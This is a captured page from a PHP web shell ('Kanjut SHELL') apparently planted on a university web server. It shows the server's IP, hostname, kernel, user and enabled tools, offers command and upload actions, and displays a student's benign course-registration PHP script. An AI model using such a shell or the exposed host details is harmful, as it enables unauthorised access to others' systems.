Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.17.181.122
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/sabarfield/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/sabarfield/public_html/registration.php
<!--
 registration.php
 Author: Sydni Barfield
 Instructor: Dr. Wang
 Due: Sunday March. 10, 2024
-->
<center>
<FONT color=blue size=3>
<H2>
Registered Courses
</H2>
</center>
<HR>





<?php
	session_start();
    
	$name = $_SESSION['n'];
        $gender = $_SESSION['gen'];
        $grade = $_SESSION['gr'];
	$cs = $_POST['cs'];
	$math = $_POST['math'];
        $mathematics = $_POST['mathematics'];
        $computer = $_POST['computer'];
	print "Student: $name<P>";
	print "Gender: $gender<P>";
	print "Grade: $grade<P>";
	print"<HR>";

	$cs = array("CS112", "CS212", "CS310", "CS311", "CS380", "CS389", "CS440");
        if(count($computer) == 0)
                print "No Computer Science courses selected.<P>";
        else
	{	print "<P>Registered Computer Science Courses: <UL>";
                foreach ($computer as $i)
                        print "<LI>$cs[$i]";
                print "</UL>";
        }


	$math = array("Math135", "Math136", "Math171", "Math172", "Math271");
        if(count($mathematics) == 0)
                print "No Mathematics courses selected.";
        else
	{	print "<P>Registered Mathematics Courses: <UL>";
                foreach ($mathematics as $o)
                        print "<LI>$math[$o]";
                print "</UL>";
        }

?>
<HR>
	<A HREF=stuForm.html> Back To Registration </A> | <A HREF=index.html> Home </A>

</center>

Stv3n404 - 2023